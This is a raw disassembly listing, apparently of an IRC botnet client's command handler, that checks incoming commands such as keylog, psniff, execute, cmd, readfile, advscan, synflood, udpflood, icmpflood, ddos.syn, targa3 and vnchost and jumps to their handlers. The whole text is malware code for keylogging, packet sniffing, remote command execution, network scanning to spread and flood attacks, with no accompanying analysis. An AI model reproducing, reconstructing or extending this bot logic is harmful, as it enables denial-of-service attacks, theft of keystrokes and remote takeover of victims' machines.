pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aOpen ; "open"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aO ; "o"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aServer ; "server"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aSe ; "se"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aDns ; "dns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aDn ; "dn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aKillproc ; "killproc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKp ; "kp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKill ; "kill"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aKi ; "ki"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aDel ; "del"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aGet ; "get"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aGt ; "gt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aList ; "list"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aLi ; "li"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aVisit ; "visit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aV ; "v"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aMirccmd ; "mirccmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aMirc ; "mirc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aCmd ; "cmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aCm ; "cm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aReadfile ; "readfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aRf ; "rf"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aPsniff ; "psniff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C9F
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C67
push 20h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405B91
push offset dword_42B68C
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405B91: ; CODE XREF: sub_401ACD+40B8j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_F5C], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_ED0], eax
jnz short loc_405BD3
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405BD3
mov esi, [ebp+var_88]
loc_405BD3: ; CODE XREF: sub_401ACD+40E8j
; sub_401ACD+40FEj
push esi
lea eax, [ebp+var_F58]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B65C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F5C]
push ebx
push eax
push offset byte_412B61
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405C56
loc_405C40: ; CODE XREF: sub_401ACD+4187j
cmp [ebp+var_ECC], ebx
jnz loc_4081AD
push 32h
call near ptr 26C04BFh
nop
jmp short loc_405C40
; ---------------------------------------------------------------------------
loc_405C56: ; CODE XREF: sub_401ACD+4171j
call near ptr 26C0CC8h
nop
push eax
push offset dword_42B620
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C67: ; CODE XREF: sub_401ACD+40A8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 20h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C95
push eax
push offset dword_42B5E4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C95: ; CODE XREF: sub_401ACD+41BBj
push offset dword_42B5B8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405C9F: ; CODE XREF: sub_401ACD+4093j
push [ebp+arg_8]
push offset aSniffer ; "sniffer"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DEF
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DB7
push 21h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405CE1
push offset unk_42B590
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405CE1: ; CODE XREF: sub_401ACD+4208j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_E40], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E3C], eax
jnz short loc_405D23
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405D23
mov esi, [ebp+var_88]
loc_405D23: ; CODE XREF: sub_401ACD+4238j
; sub_401ACD+424Ej
push esi
lea eax, [ebp+var_EC4]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B564
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_E44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC8]
push ebx
push eax
push offset sub_4131EC
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_E44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405DA6
loc_405D90: ; CODE XREF: sub_401ACD+42D7j
cmp [ebp+var_E38], ebx
jnz loc_4081AD
push 32h
call near ptr 26C04BFh
nop
jmp short loc_405D90
; ---------------------------------------------------------------------------
loc_405DA6: ; CODE XREF: sub_401ACD+42C1j
call near ptr 26C0CC8h
nop
push eax
push offset unk_42B528
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DB7: ; CODE XREF: sub_401ACD+41F8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 21h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DE5
push eax
push offset unk_42B4EC
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DE5: ; CODE XREF: sub_401ACD+430Bj
push offset unk_42B4C0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405DEF: ; CODE XREF: sub_401ACD+41E3j
push [ebp+arg_8]
push offset aIdent ; "ident"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405EC2
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405E8A
push 2
call sub_40B602
test eax, eax
pop ecx
jle short loc_405E2D
push offset dword_42B498
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405E2D: ; CODE XREF: sub_401ACD+4354j
lea eax, [ebp+var_2C4]
push offset dword_42B46C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_410BFD
push ebx
push ebx
nop
call near ptr 26C051Eh
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz loc_4081AD
call near ptr 26C0CC8h
nop
push eax
push offset dword_42B438
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405E8A: ; CODE XREF: sub_401ACD+4348j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 2
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405EB8
push eax
push offset dword_42B400
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405EB8: ; CODE XREF: sub_401ACD+43DEj
push offset dword_42B3E0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405EC2: ; CODE XREF: sub_401ACD+4333j
push [ebp+arg_8]
push offset aKeyloger ; "keyloger"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aNet ; "net"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40616D
cmp dword_4CBAA4, ebx
jz short loc_405F4F
cmp dword_4CBACC, ebx
jz short loc_405F4F
push offset unk_42B388
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405F4F: ; CODE XREF: sub_401ACD+446Ej
; sub_401ACD+4476j
cmp [ebp+var_C], ebx
jz loc_406BFE
mov eax, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_405F77
push eax
push [ebp+var_C]
call sub_41C2E0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405F77: ; CODE XREF: sub_401ACD+449Aj
push edi
push offset aStart ; "start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FC3
cmp [ebp+arg_18], ebx
jz short loc_405F97
push [ebp+arg_0]
push 3
jmp loc_406021
; ---------------------------------------------------------------------------
loc_405F97: ; CODE XREF: sub_401ACD+44BEj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418EA8
add esp, 0Ch
test eax, eax
jz short loc_405FB9
push offset unk_42B35C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FB9: ; CODE XREF: sub_401ACD+44E0j
push offset unk_42B33C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FC3: ; CODE XREF: sub_401ACD+44B9j
push edi
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FDB
push [ebp+arg_0]
push 4
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FDB: ; CODE XREF: sub_401ACD+4505j
push edi
push offset aPause ; "pause"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FF3
push [ebp+arg_0]
push 5
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FF3: ; CODE XREF: sub_401ACD+451Dj
push edi
push offset aContinue ; "continue"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40600B
push [ebp+arg_0]
push 6
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_40600B: ; CODE XREF: sub_401ACD+4535j
push edi
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406033
push [ebp+arg_0]
push 1
loc_406021: ; CODE XREF: sub_401ACD+44C5j
; sub_401ACD+450Cj ...
call sub_418C0E
pop ecx
pop ecx
loc_406028: ; CODE XREF: sub_401ACD+459Fj
; sub_401ACD+4628j ...
push eax
push offset aS_1 ; "%s"
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_406033: ; CODE XREF: sub_401ACD+454Dj
push edi
push offset aShare ; "share"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40609B
cmp [ebp+arg_18], ebx
jz short loc_40606E
cmp [ebp+var_8FC], bl
jz short loc_406059
push ebx
push [ebp+arg_18]
push 1
jmp short loc_406064
; ---------------------------------------------------------------------------
loc_406059: ; CODE XREF: sub_401ACD+4582j
push [ebp+esi+var_84]
push [ebp+arg_18]
push ebx
loc_406064: ; CODE XREF: sub_401ACD+458Aj
call sub_418FE5
add esp, 0Ch
jmp short loc_406028
; ---------------------------------------------------------------------------
loc_40606E: ; CODE XREF: sub_401ACD+457Aj
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4191DB
add esp, 10h
test eax, eax
jz short loc_406091
push offset unk_42B2FC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406091: ; CODE XREF: sub_401ACD+45B8j
push offset unk_42B2DC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40609B: ; CODE XREF: sub_401ACD+4575j
push edi
push offset aUser ; "user"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406127
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4060FA
cmp [ebp+var_8FC], bl
jz short loc_4060CD
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060CD: ; CODE XREF: sub_401ACD+45ECj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4060E9
push esi
push eax
push ebx
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060E9: ; CODE XREF: sub_401ACD+4615j
push ebx
push eax
push 2
loc_4060ED: ; CODE XREF: sub_401ACD+45FEj
; sub_401ACD+461Aj
call sub_4192FC
add esp, 18h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_4060FA: ; CODE XREF: sub_401ACD+45E4j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41982C
add esp, 10h
test eax, eax
jz short loc_40611D
push offset unk_42B2BC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40611D: ; CODE XREF: sub_401ACD+4644j
push offset unk_42B29C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406127: ; CODE XREF: sub_401ACD+45DDj
push edi
push offset aSend ; "send"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406163
cmp [ebp+arg_18], ebx
jz short loc_406159
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419AE0
add esp, 10h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_406159: ; CODE XREF: sub_401ACD+466Ej
push offset unk_42B270
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406163: ; CODE XREF: sub_401ACD+4669j
push offset unk_42B254
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40616D: ; CODE XREF: sub_401ACD+4462j
push [ebp+arg_8]
push offset aGethost ; "gethost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
push [ebp+arg_8]
push offset aGh ; "gh"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj
; sub_401ACD+3CC5j ...
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F75
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset dword_42B938
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aA ; "a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aM ; "m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aE ; "e"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401F75
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aC ; "c"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4066AE
push 7Fh
lea eax, [ebp+var_3280]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3200]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3180]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3100]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3078], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_307C], edi
mov [ebp+var_3284], esi
call sub_40B3BA
add esp, 3Ch
mov [ebp+var_3080], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3284]
push ebx
push eax
push offset word_41525A
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_3080]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40669D
loc_406687: ; CODE XREF: sub_401ACD+4BCEj
cmp [ebp+var_3074], ebx
jnz loc_403D46
push 32h
nop
call near ptr 26C04BFh
jmp short loc_406687
; ---------------------------------------------------------------------------
loc_40669D: ; CODE XREF: sub_401ACD+4BB8j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42B0E0
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4067DB
push 7Fh
lea eax, [ebp+var_36A8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3628]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_35A8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3528]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A4], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_34A0], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_36AC], esi
push edi
push offset dword_42B098
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_34A8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36AC]
push ebx
push eax
push offset word_4141B2
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_34A8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4067CA
loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj
cmp [ebp+var_349C], ebx
jnz loc_407196
push 32h
call near ptr 26C04BFh
nop
jmp short loc_4067B4
; ---------------------------------------------------------------------------
loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j
nop
call near ptr 26C0CC8h
push eax
push offset dword_42B05C
jmp loc_407187
; ---------------------------------------------------------------------------
loc_4067DB: ; CODE XREF: sub_401ACD+4C20j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401F75
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aAd ; "ad"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aU ; "u"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aP ; "p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aVnchost ; "vnchost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406A5A
push edi
call sub_41B52C
pop ecx
lea eax, [ebp+var_2C4]
push edi
push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406A5A: ; CODE XREF: sub_401ACD+4F56j
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41CA50
pop ecx
test eax, eax
